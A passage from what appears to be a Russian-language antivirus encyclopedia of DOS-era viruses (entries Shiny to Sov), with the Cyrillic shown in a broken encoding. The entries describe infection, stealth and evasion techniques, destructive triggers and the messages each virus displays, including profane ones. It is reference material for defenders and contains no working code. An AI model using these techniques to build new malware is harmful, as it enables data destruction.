Îïàñíûé ðåçèäåíòíûé "ñëàáîïîëèìîðôíûé" âèðóñ. Ñîäåðæèò 3 âàðèàíòà
ðàñøèôðîâùèêîâ. Óíè÷òîæàåò ôàéëû chklist.ms è c:\????f?c?.* (òàáëèöû
ADinf è ADinfExt), ñîçäàâàÿ èõ çàíîâî. Ñîäåðæèò òåêñòû:
(C) Shel,NSTU,1994,v4.0
Sh
*.exe c:\ c:\dos chklist.ms c:\????f?c?.*
Shiny.918, Shiny.921, Shiny.934
Íåîïàñíûå ðåçèäåíòíûå âèðóñû, êðîìå Shiny.918, êîòîðûé î÷åíü îïàñåí.
Òðàññèðóþò INT 21h. Ïåðåõâàòûâàþò INT 1, 3, 9, 21h. Âíåäðÿþò îäèí áàéò
CCh (INT 3) â îðèãèíàëüíûé îáðàáîò÷èê INT 21h. Shiny.921, Shiny.934
èçìåíÿþò ñèìâîëû, ââîäèìûå ñ êëàâèàòóðû. Íàïðèìåð, èçìåíÿþò ñëåäóþùèå
ïîñëåäîâàòåëüíîñòè ñèìâîëîâ:
:-) íà :-(
:=) íà :=(
;-) íà ;-(
|-) íà |-(
:) íà :(
Shiny.921 è Shiny.934 ñîäåðæàò òåêñò:
Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism
Shiny.918 ìîæåò óíè÷òîæèòü ñîäåðæèìîå CMOS-ïàìÿòè, à òàêæå 1 ÷èñëà
ëþáîãî ìåñÿöà óíè÷òîæàåò 10 ñåêòîðîâ êîðíåâîãî äèðåêòîðèÿ òåêóùåãî
äèñêà è âûâîäèò ñîîáùåíèå:
The root directory of the current drive has
been destroyed by the 7% Solution 3.0 virus!
Shirley.4096
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò:
Marty McFly lives somewhere in time (Doc Brown)kFuck for Eddie!!
There is only one place to spend nice holidays... CASAL BORSETTI
in Italy... Fuck for John McAfee
and all the other Vrs-Killers...We have a right to live !!!!!!!!
Greetings to the 1704... you were the first Virus, that infected my System!
Greetings to Jerusalem-B...You were the Second! But now its my turn.
Hope You have fun with the Shirley-Virus !!!!!!
----------------
Dies ist die Geschichte einer Dreiecksbeziehung,kÔnnte mann sagen-A.C,L.C.
und,natÁrlich,CHRISTINE. Aber sie sollten wissen,dass Christine zuerst kam.
Sie war Arnies erste Liebe, und obwohl ich nicht meine Hand dafÁr ins Feuer
legen moechte(denn mit 22 kann der Mensch sich ja noch irren),mÔchte ich
doch sagen,dass Christine seine einzige wahre Liebe gewesen ist.
Deshalb ist diese Liebesgeschichte fÁr mich eine TragÔdie
Shish.1002, 1142
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Ñ âåðîÿòíîñòüþ 1/2 ñîõðàíÿþò â ñâîåì
òåëå çíà÷åíèå íå îðèãèíàëüíîãî, à èçìåíåííîãî ïîëÿ IP (+14h) çàãîëîâêà
(ïðèáàâëÿåò ê IP 10h) èíôèöèðîâàííîãî EXE-ôàéëà. Ïðè ñòàðòå òàêîãî
EXE-ôàéëà âèðóñû,òàêæå ñ âåðîÿòíîñòüþ 1/2 ìîãóò âû÷åñòü 10h èç çíà÷åíèÿ
IP ïðè îòäà÷å óïðàâëåíèÿ ïðîãðàììå-äðîçîôèëå èëè îñòàâèòü ýòó âåëè÷èíó
íåèçìåííîé (ïðàâèëüíîé èëè íåïðàâèëüíîé). Â ðåçóëüòàòå, âñå
èíôèöèðîâàííûå ôàéëû ìîãóò "âåøàòü" ñèñòåìó ïðè ñòàðòå. Âîçìîæíî
íåêîððåêòíîå ëå÷åíèå òàêèõ ôàéëîâ. Shish.1142 ïðè íàæàòèè íà Ctrl-Alt-
Del âûâîäèò òåêñò:
WARNING!
SYSTEM REPORT:
If your system does not work properly,
change the month of the current system date.
Error code #
Âèðóñû ñîäåðæàò òåêñòû:
Shish.1002: "[SHISH. Version 1.00][How long have you been encrypting
the "Mutation Engine" in your source code?]"
Shish.1142: "[SHISH. Version 2.00]".
ShuHard.386
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå êàêîé-ëèáî ïðîãðàììû, èìåþùåé â
êîìàíäíîé ñòðîêå ïàðàìåòð "doom",âèðóñ íà âðåìÿ ðàáîòû äàííîé ïðîãðàììû
ñ ïîìîùüþ ðåãèñòðà óïðàâëåíèÿ CR0 çàïðåùàåò èñïîëüçîâàíèå âíóòðåííåé
êýø-ïàìÿòè ïðîöåññîðà. Ñîäåðæèò òåêñò "DOOM MD! R.ShuHard 1997".
Sibylle.853, 858
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ìîãóò óñòàíîâèòü àòðèáóòû ôàéëà â VOLUME
LABEL (ìåòêà òîìà),à òàêæå ìîãóò çàïèñàòü â ôàéë C:\AUTOEXEC.BAT òåêñò:
:b
echo Looking for Sibylle...
goto b
Sierra (1-4)
Sierra (1) - íåîïàñíûé, à Sierra (2-4) - îïàñíûå çàãðóçî÷íûå ñòåëñ-
âèðóñû. Sierra (1) ïîñëå çàðàæåíèÿ äèñêà âûâîäèò íà ýêðàí òåêñò
"El Monâculo del Conde Sierra". Sierra (2-4) â 00:33 è 08:33 óíè÷òîæàþò
ñåêòîðà äèñêîâ.
Silly-âèðóñû
Äàííîå íàçâàíèå äàåòñÿ òåì âèðóñàì, êîòîðûì íåò âîçìîæíîñòè äàòü
íèêàêîãî èìåíè. Îáû÷íî ýòè âèðóñû íå ñîäåðæàò âíóòðè ñåáÿ íèêàêèõ
òåêñòîâûõ ñòðîê è íè÷åì íå ïðîÿâëÿþòñÿ êðîìå ñàìîðàçìíîæåíèÿ.
SillyC - íåðåçèäåíòíûå, çàðàæàþùèå COM-ôàéëû.
SillyE - íåðåçèäåíòíûå, çàðàæàþùèå EXE-ôàéëû.
SillyCE - íåðåçèäåíòíûå, çàðàæàþùèå COM è EXE-ôàéëû.
SillyRC - ðåçèäåíòíûå, çàðàæàþùèå COM-ôàéëû.
SillyRE - ðåçèäåíòíûå, çàðàæàþùèå EXE-ôàéëû.
SillyRCE - ðåçèäåíòíûå, çàðàæàþùèå COM è EXE-ôàéëû.
SillyO - âèðóñû, çàìåùàþùèå ïðîãðàììíûé êîä íà ñâîé (overwritig viruses).
SillyOR - ðåçèäåíòíûå âèðóñû, çàìåùàþùèå ïðîãðàììíûé êîä íà ñâîé.
SillyC.316
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîñëå 20 çàðàæåíèé ôàéëîâ óíè÷òîæàåò
32 ïåðâûõ ñåêòîðà æåñòêîãî äèñêà.
SillyC.638
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà ðàçðóøàåò ôàéë, çàïèñûâàÿ â åãî
íà÷àëî ïÿòü áàéò, ïðîèçâîäÿùèõ ïåðåçàãðóçêó ñèñòåìû. Óñòàíàâëèâàåò â
îáëàñòü òàáëèöû âåêòîðîâ ïðåðûâàíèé ðåçèäåíòíûé êîä, êîòîðûé èíîãäà
èçäàåò çâóêîâîé ñèãíàë èëè èãíîðèðóåò íàæàòèå íà êëàâèøó.
SillyE.714
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ.Óíè÷òîæàåò ñëó÷àéíûå ñåêòîðà òåêóùåãî
ëîãè÷åñêîãî äèñêà.
SillyE.1264
Î÷åíü îïàñíûé âèðóñ. Íå çàðàæàåò ôàéëû äî àâãóñòà-ìåñÿöà. Ïîñëå 3 ÷èñëà
ìåñÿöà â êîðíåâîì îãëàâëåíèè äèñêà C: ñòàâèò âñåì ýëåìåíòàì îãëàâëåíèÿ
ïðèçíàê óäàëåíèÿ, áàéò 0E5h.
SillyO.276
Ïî îêîí÷àíèè ñâîåé "ðàáîòû" âûâîäèò ôðàçó "Bad Command or file name".
SillyRC.438
Îïàñíûé ðåçèäåíòíûé âèðóñ.Ìîæåò óíè÷òîæèòü èíôîðìàöèþ íà âñåõ äîñòóïíûõ
ëîãè÷åñêèõ äèñêàõ.
SillyRCE.822
Ïåðèîäè÷åñêè âûâîäèò â ëåâîì âåðõíåì óãëó "\". Ñîäåðæèò ñòðîêó "NT".
SillyRCE.972
Îïàñíûé âèðóñ. Çàðàæàåò COM è EXE-ôàéëû íå ðàçëè÷èÿ èõ ïî èìåíàì èëè ïî
ôîðìàòó, ñòàíäàðòíûì îáðàçîì äëÿ COM-ôàéëîâ,- çàïèñûâàÿ 5 áàéò ïåðåõîäà
íà âèðóñíûé êîä â íà÷àëî ôàéëà, è îñíîâíîå òåëî âèðóñà â êîíåö ôàéëà.
Ïî îêîí÷àíèè ñâîåé ðàáîòû âîññòàíàâëèâàåò 5 íà÷àëüíûõ áàéò íà
îðèãèíàëüíûå çíà÷åíèÿ, ñàìîñòîÿòåëüíî çàïóñêàåò ïðîãðàììó (f.4B00h INT
21h), è ïîñëå âîçâðàùåíèÿ óïðàâëåíèÿ âèðóñó, îáðàòíî âîññòàíàâëèâàåò
íà÷àëüíûå áàéòû íà âèðóñíûé ïåðåõîä. Èíîãäà ïðè ñòàðòå ïðîãðàìì, ðàçìåð
êîòîðûõ áîëüøå, ÷åì 64K, âèðóñ óíè÷òîæàåò äàííûå ïðîãðàììû, çàïèñûâàÿ â
íèõ 30000 ñëó÷àéíûõ áàéò.
SillyRE.488
Îïàñíûé ðåçèäåíòíûé âèðóñ. Áëîêèðóåò âûâîä íà ïðèíòåð. Ïðè çàïèñè â
ôàéë (f.40h Int 21h) ïðîèçâîäèò ñìåùåíèå áóôåðà çàïèñè íà âåëè÷èíó
1992h.
SillyRE.525
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå óñòàíîâêè ñâîåé ðåçèäåíòíîé êîïèè
âèðóñ âûâîäèò òåêñò "Hallo world!".
SillyRE.666
Îïàñíûé øèôðîâàííûé âèðóñ. Ïîñëå óñòàíîâêè â ïàìÿòü ñâîåé TSR-êîïèè
âèðóñ çàïèñûâàåò äëèííîé çàïèñüþ (f.0Bh INT 13h) â 11 ñåêòîð 0 äîðîæêè
1 ãîëîâêè (îáû÷íî ïåðâàÿ êîïèÿ FAT) "ìóñîð".
SillyWilly.2256
Î÷åíü îïàñíûé ïîëèìîðôíûé âèðóñ. Çàðàæàåò *.COM-ôàéëû íà äèñêå C:. Ó
èíôèöèðîâàííûõ ôàéëîâ èçìåíÿåò 16 áàéò íà÷àëà ôàéëà, à òàêæå 16 áàéò â
ñëó÷àéíîì ìåñòå ôàéëà. Èç ïåðâîãî ó÷àñòêà êîäà âèðóñ ïåðåäàåò
óïðàâëåíèå âî âòîðîé ó÷àñòîê, èç êîòîðîãî óæå óïðàâëåíèå ïåðåäàåòñÿ íà
ðàñøèôðîâùèê îñíîâíîãî òåëà âèðóñà. Âèðóñ ïðîèçâîäèò ïîèñê *.EXE-ôàéëîâ
è óíè÷òîæàåò èõ, çàïèñûâàÿ ïîâåðõ ïðîãðàììíîãî êîäà 1317 áàéò
ïðîãðàììû, ïðîèçâîäÿùåé âûâîä íà ýêðàí ñëåäóþùåé êàðòèíêè:
°°°°°°°°°°°°
°°°°°°°°°°°°°°
° /\ /\ °
¦ O O ¦
¦ ¦
¦ (..) ¦
¦ ) \__/ ( ¦
\__________/
Hello, I'm Silly Willy! -
Now I'm formating Your HARDDISK!
That's fine! - Isn't it? (har,har)
Formating Drive C: ...
ERROR: No SYSTEM found!
No files on drive C:
Insert SYSTEM diskette in drive A: and push any key!
Ïîñëå ÷åãî ïûòàåòñÿ óíè÷òîæèòü ñîäåðæèìîå äèñêà A:, çàïèñûâàÿ â ñåêòîðà
ôðàçó "The User of This Computer Is Stupid!".
Sily.745
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå 31 àâãóñòà âûâîäèò òåêñò:
-== Hi! Everybody! This is nice and sily virus for you ==-
Ïîñòîÿííî èçìåíÿåò öâåò ôîíà äàííîãî òåêñòà (êðàñíûé, ñèíèé, çåëåíûé) è
â òàêò èçìåíåíèÿ öâåòà ìèãàåò ëàìïî÷êàìè NumLock, CapsLock, ScrollLock.
Simulation
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Íå çàðàæàåò COMMAND.COM.
Ïîñëå çàðàæåíèÿ COM-ôàéëà ìîæåò âûâåñòè îäíî èç ïåðå÷èñëåííûõ ñîîáùåíèé:
HA HA HA YOU HAVE A VIRUS !
FRODO LIVES!
Have you ever danced with the Devil in the pale moonlight?
DATACRIME VIRUS RELEASED: 1 MARCH 1989
ALIVE... Your system is infected by the SIMULATION virus.
Have a nice day!
Singapore.521
Ïðè çàðàæåíèè ôàéëîâ ìèãàåò ëàìïî÷êàìè "Num Lock", "Caps Lock" è
"Scroll Lock".
Singapore.534
Ñ âåðîÿòíîñòüþ 1/8 âêëþ÷àåò ëàìïî÷êè "Num Lock, "Caps Lock", "Scroll
Lock".
Sirius.1081
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñò "[EBBELWOI]
Vers.QUX7 - 3/94 (Û)SiriuS - Ser.Nr:RAM849116".
SheHas
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñò "Virginia / Shirley ---
She has BREASTS, yes she has !!!".
Skew.445, 458, 469
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Êàæäûé ÷àñ ñäâèãàþò ðàçâåðòêó íà
ìîíèòîðàõ EGA, íà CGA èëè VGA "äåðãàþò" ðàçâåðòêó.
Sl.142, 155, 181, 200(1,2)
Ðåçèäåíòíûå âèðóñû. Ðàñïîëàãàþòñÿ â ïàìÿòè ïî àäðåñó 0060:0000. Sl.142
ïåðåõâàòûâàåò INT 17h (âûâîä íà ïðèíòåð) è îáíóëÿåò 15 áèò ïðè ïå÷àòè.
Ñâîå íàçâàíèå ïîëó÷èëè ïî èíèöèàëàì ñâîåãî ñîçäàòåëÿ - Ñâèðèäîâà Ëüâà.
Slava.492, 500
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñòû "command" è
"Ñëàâà Âëàäûêå".
Slovakia.3584 (1-3), Slovakia.Kill
Îïàñíûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Slovakia.Kill ïðè ñòàðòå íà
êîìïüþòåðå ñ ïðîöåññîðîì Pentium â îêòÿáðå äî 11 ÷èñëà óíè÷òîæàåò
ñëó÷àéíûå ñåêòîðà æåñòêîãî äèñêà. Ïðè çàðàæåíèè ôàéëà âî âðåìÿ åãî
çàïóñêà, ïåðåèìåíîâûâàþò åãî â ôàéë svl.svl, çàðàæàþò åãî è âîçâðàùàþò
äàííîìó ôàéëó ïåðâîíà÷àëüíîå èìÿ. Óäàëÿþò ôàéëû chklist.ms,
chklist.cps, smartchk.cps, â êàòàëîãå èíôèöèðóåìîãî ôàéëà. Ñîäåðæàò
òåêñòîâóþ ñòðîêó "scan avg vir asta alik rex msav cpav nod clean f-prot
tbav tbutil avast nav vshield vsafe dizz". Ôàéëû, â èìåíàõ êîòîðûõ
âñòðå÷àþòñÿ äàííûå òåêñòîâûå ïîñëåäîâàòåëüíîñòè, âèðóñû íå çàðàæàþò. Â
ïåðâûå ÷åòûðå äíÿ àâãóñòà (Slovakia.3584(3) - â ïåðâûå òðè äíÿ ÿíâàðÿ)
âûâîäÿò òåêñò:
Slovakia.3584 (1):
I'am SLOVAKIA virus Version 1.0 Copyright (c) 19.1.1994 SVL
Slovakia.3584 (2):
I'am SLOVAKIA virus Version 1.1 Copyright (c) 29.1.1994 SVL
Slovakia.3584 (3):
I'am SLOVAKIA virus Version 1.2 Copyright (c) 1994 SVL
Ñîäåðæàò òåêñòû:
Slovakia.3584 (1): "(C) 26.1.1994 SVL Technick paramete: MENO:
Slovakia v.1.0. TYP: Rezidentny COM&EXE infektor. KRYPTOVANIE".
Slovakia.3584 (2): "(C) 26.1.1994 SVL TechnirvO".
Slovakia.3584 (3): "(C) SVL MENO: Slovakia v.1.2.".
Slovakia.Kill: "SLOVAKIA virus Kill Version Copyright (c) 1994 SVL",
"(C) 26.1.1994 SVL Technick paramete: MENO".
Sly
Î÷åíü îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò EXE-ôàéëû è MBR
æåñòêîãî äèñêà. Ïðè ñòàðòå çàðàæåííîãî EXE-ôàéëà, âèðóñ çàðàæàåò MBR
"âèí÷åñòåðà" è "ïåðåçàãðóæàåò" ñèñòåìó. Ïðè çàãðóçêå ñèñòåìû ñ òàêîãî
èíôèöèðîâàííîãî äèñêà, âèðóñ óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â
ïàìÿòü è "ïåðåõâàòûâàåò" INT 13h (îïåðàöèè ñ äèñêàìè). Ïðè ÷òåíèè èëè
çàïèñè äèñêîâîãî ñåêòîðà, âèðóñ ïðîâåðÿåò íå ÿâëÿåòñÿ ëè äàííûé ñåêòîð
çàãîëîâêîì EXE-ôàéëà (ñèãíàòóðà "MZ" â íà÷àëå ôàéëà). Åñëè äàííûé
ñåêòîð â ñâîåì íà÷àëå ñîäåðæèò ñëîâî "MZ", òî âèðóñ çàïèñûâàåò âìåñòî
äàííîãî ñåêòîðà ñâîè 512 áàéò êîäà, êîòîðûå òàêæå íàõîäÿòñÿ â ôîðìàòå
EXE-ôàéëà. Îðèãèíàëüíûé æå ñåêòîð çàãîëîâêà EXE-ôàéëà âèðóñ çàïèñûâàåò
â ñëó÷àéíûé ñåêòîð äàííîãî äèñêà è çàïîìèíàåò êîîðäèíàòû äàííîãî
ñåêòîðà â ñâîåì òåëå. Ðåçèäåíòíàÿ êîïèÿ âèðóñà òàêæå îòñëåæèâàåò ÷òåíèå
ñåêòîðîâ, ñîäåðæàùèõ âèðóñíûé EXE-çàãîëîâîê, è ïî ñîõðàíåííûì
êîîðäèíàòàì ñåêòîðà, ñîäåðæàùåãî îðèãèíàëüíûé EXE-çàãîëîâîê,
âîññòàíàâëèâàåò äàííûé çàãîëîâîê â ïàìÿòè. Òàêèì îáðàçîì, äàííûé âèðóñ
ÿâëÿåòñÿ ñòåëñ-âèðóñîì, è åñëè ñåêòîð ñ îðèãèíàëüíûì EXE-çàãîëîâêîì íå
áûë ïåðåçàïèñàí DOS, òî ïðè ñòàðòå èíôèöèðîâàííîãî EXE-ôàéëà,
ðåçèäåíòíàÿ êîïèÿ âèðóñà "ïîäñòàâèò" "íóæíîå" íà÷àëî èíôèöèðîâàííîãî
EXE-ôàéëà. Ìåõàíèçì çàðàæåíèÿ óñòðîåí òàêèì îáðàçîì, ÷òî ïðè êàæäîì
çàðàæåíèè EXE-ôàéëà íà æåñòêîì äèñêå, ñóùåñòâåííî óìåíüøàåòñÿ
âåðîÿòíîñòü ñëåäóþùåãî çàðàæåíèÿ EXE-ôàéëà íà "âèí÷åñòåðå". Âñå ñâîå
âíèìàíèå âèðóñ ïûòàåòñÿ "ñêîíöåíòðèðîâàòü" íà EXE-ôàéëàõ íà ôëîïïè-
äèñêàõ.
SMEG-âèðóñû
SMEG (Simulated Metamorphic Encryption Generator) - ïîëèìîðôíûé
ãåíåðàòîð âèðóñíûõ øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîçäàí àíãëèéñêèì
âèðóñîïèñàòåëåì èçâåñòíûì, êàê Black Baron. Ïî èìåþùèìñÿ äàííûì îí áûë
àðåñòîâàí â èþëå 1994 ãîäà áðèòàíñêîé ïîëèöèåé çà ñîçäàíèå î÷åíü
îïàñíûõ âèðóñîâ SMEG.Pathogen è SMEG.Quueg (ñì. íèæå).
SMEG.Pathogen.3732
Î÷åíü îïàñíûé, èñïîëüçóþùèé äîâîëüíî ñëîæíûé àëãîðèòì øèôðîâùèêà,
ïîëèìîðôíûé âèðóñ. Â ðàñøèôðîâùèêå ìîãóò èñïîëüçîâàòüñÿ âñå êîìàíäû
ïåðåäà÷è óïðàâëåíèÿ äëÿ âíóòðèñåãìåíòíîé àäðåñàöèè. Ïåðåõâàòûâàåò INT
21h, INT 13H, INT 20h. Â ïîíåäåëüíèê ìîæåò çàïèñàòü â CMOS â áàéò 10h
(òèï èñïîëüçóåìûõ ôëîïïè-äèñêîâ) çíà÷åíèå 0 - äèñêîâîäû íå óñòàíîâëåíû.
Ïîñëå ýòîãî êîððåêòèðóåò êîíòðîëüíóþ ñóììó CMOS (ÿ÷åéêè 2Eh-2Fh), ÷òîáû
ïðè èíèöèàëèçàöèè ñèñòåìû BIOS "íå çàïîäîçðèë" íåëàäíîå. Ïîñëå äàííûõ
ìàíèïóëÿöèé êîìïüþòåð "íå âèäèò" äèñêîâîäîâ ãèáêèõ äèñêîâ. Òàêæå â
ïîíåäåëüíèê â 11 ÷àñîâ, ïðè îïðåäåëåííûõ óñëîâèÿõ, ìîæåò âûâåñòè òåêñò:
Your hard-disk is being corrupted, courtesy of PATHOGEN!
Programmed in the U.K. (Yes, NOT Bulgaria!) [C] The Black Baron 1993-4.
Featuring SMEG v0.1: Simulated Metamorphic Encryption Generator!
'Smoke me a kipper, I'll be back for breakfast.....'
Unfortunately some of your data won't!!!!!
È, äåéñòâèòåëüíî, ïîñëå ýòîãî óñòàíàâëèâàåò îáðàáîò÷èê êëàâèàòóðû INT
09h íà ñâîé êîä è óíè÷òîæàåò èíôîðìàöèþ â ñëó÷àéíûõ ñåêòîðàõ ïåðâîãî
æåñòêîãî äèñêà (80h). Åñëè â ýòîò ìîìåíò íå ïåðåãðóçèòü êîìïüþòåð
êíîïêîé "RESET" èëè íå âûêëþ÷èòü ïèòàíèå (êîìáèíàöèÿ Ctrl-Alt-Del - íå
ïîìîæåò), òî ñîäåðæèìîå "âèí÷åñòåðà" ìîæåò áûòü ïîëíîñòüþ óíè÷òîæåíî.
SMEG.Queeg.3756
Î÷åíü îïàñíûé, ïîëèìîðôíûé âèðóñ.  âîñêðåñåíüå â 12 ÷àñîâ ìîæåò
âûâåñòè íà ýêðàí:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Äï QUEEG îÄ ¦
¦ ~~~~~ ¦
¦ (C) The Black Baron 1994 ¦
¦ ¦
¦ Featuring: SMEG v0.2 ¦
¦ ¦
¦ Better than life..... ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ïîñëå ÷åãî ïðîèçâîäèò äåéñòâèÿ äëÿ óíè÷òîæåíèÿ èíôîðìàöèè íà æåñòêîì
äèñêå, îïèñàííûå â SMEG.Pathogen.3732
SMEG.Trivia.2437
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ.  ïÿòíèöó 13 ÷èñëà âûâîäèò
ñîîáùåíèå "This program requires Microsoft Windows.", ïîñëå ÷åãî
çàêàí÷èâàåò âûïîëíåíèå èíôèöèðîâàííîé ïðîãðàììû f.4C00 INT 21h. Äàííûé
âèðóñ áûë ñîçäàí Black Baron äëÿ äåìîíñòðàöèè èñïîëüçîâàíèÿ åãî
ïîëèìîðôíîãî ãåíåðàòîðà SMEG v0.3.
Smile.4320
Íåîïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR æåñòêîãî
äèñêà. Ïðè çàãðóçêå ñèñòåìû ñ èíôèöèðîâàííîãî äèñêà âèðóñ óñòàíàâëèâàåò
ñâîþ TSR-êîïèþ â ïàìÿòü è ïåðåõâàòûâàåò INT 21h. Èíîãäà ìîæåò ïðîèãðàòü
"õîõîò è óäàëÿþùèåñÿ øàãè".
Smoker.631
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "Smoker >8-E".
Sms.480
Íåîïàñíûé ðåçèäåíòíûé âèðóñ.Èìååò òàêîé òåêñò "SmS bItEs !!! aNd Is gAy
ToO !!! wRiTteN bY BiGMaRtY, 2/13/96 HaPpY vAlEnTiNeS DaY eVeRyOnE...
tRy nOt tO fUcK tOo mUcH ;)".
Snap.228
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Èç-çà îøèáêè ðàçðóøàåò ôàéëû,äëèíà êîòîðûõ
ìåíåå 228 áàéò. Ïî îêîí÷àíèè ñâîåé "äåÿòåëüíîñòè" ïðîèçâîäèò íåãðîìêèé
"ùåë÷îê".
Snowfall.5000 (1,2)
Î÷åíü îïàñíûå øèôðîâàííûå ðåçèäåíòíûå ñòåëñ-âèðóñû. Èíîãäà âûâîäÿò
ñîîáùåíèå:
Swap file creation error at 0FAD:2DEC.
Program aborted.
è ïðåêðàùàþò âûïîëíåíèå ïðîãðàììû. Â ÿíâàðå âûâîäÿò íà ôîíå ñíåãîïàäà
òåêñò:
Happy New Year !
Ghost 1.0 is terminating it`s work now. Please wait...
Write down this number : 0000000000 and pray for your data rescue.
È ïîêà ïîëüçîâàòåëü ëþáóåòñÿ ñíåãîì, "çàìåòàþùèì" äàííûé òåêñò, âèðóñû
øèôðóþò ñåêòîðà ïåðâîãî æåñòêîãî äèñêà, óêàçàííûì â òåêñòå êëþ÷îì.
Âèðóñû ìåøàþò ðàáîòàòü ñ ôàéëàìè, èìåþùèìè ðàñøèðåíèÿ PAS è CPP.
Ñîäåðæàò òàêæå òåêñò:
I feel so tired.
The way the rain comes down how it`s how I feel inside.
I`ve been living so long with my pictures of you
Remembering you standing quiet in the rain
There is nothing in the world that I ever wanted more than to never
feel breaking apart all my programs again.
The spiderman is always hungry
Sochi.703
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàïèñûâàåò â MBR æåñòêîãî äèñêà
òðîÿíñêèé êîä, êîòîðûé ïîñëå 40 ïåðåçàãðóçîê ñ æåñòêîãî äèñêà â òå÷åíèå
20 çàãðóçîê âûâîäèò ñîîáùåíèå "Enter password:", ïîñëå ÷åãî óíè÷òîæàåò
êîä ñîáñòâåííîãî çàãðóç÷èêà àêòèâíîãî boot-ñåêòîðà. Ñîäåðæèò òåêñò
"*Ks&I* Sochi Olympic Games 2002".
Solar.512
Îïàñíûé ðåçèäåíòíûé âèðóñ. Áëîêèðóåò çàïèñü íà äèñê B:. Ñîäåðæèò òåêñò:
"Bring your FDD drive... to the slaughter"(C) Solar Wind fault!
Function not
Sosun.232
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" òîëüêî INT 10h. Ïðè âûçîâå
äàííîãî ïðåðûâàíèÿ âèðóñ ïûòàåòñÿ îïðåäåëèòü èìÿ ïî òåêóùåìó PSP
ñòàðòîâàâøåé ïðîãðàììû è èíôèöèðîâàòü åå.Ñîäåðæèò òåêñò "Âèäàë ñîñóí ?"
Sov.1193, 1205
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. 23 ôåâðàëÿ, 7 ìàðòà, 22 è 30 àïðåëÿ, 6
íîÿáðÿ Sov.1193 ðèñóåò íà ýêðàíå ÷åðíî-áåëûå ïîëîñû, à Sov.1205 âûâîäèò
òåêñò:
ÛÛ ÛÛÛÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛÛ ÛÛÛ
ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛÛÛ
ÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛ ÛÛÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛ
ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ
Ñîäåðæàò òåêñòû:
Sov.1193:
(C)1987 American Megatrends Inc.286-BIOS (C)1989 American Megatrends Inc
¨(c) COPYRIGHT 1984,1987 Award Software Inc.ALL RIGHTS RESERVEDtÀ ¨
Sov.1205:
(C)1991 SoftWare Developed by MaxiÛÛÛÛLena All Rights Reserved ðò
¨(c) COPYRIGHT 1984,1987 Award Software Inc.ALL RIGHTS RESERVEDtÀ ¨
Sova.4060
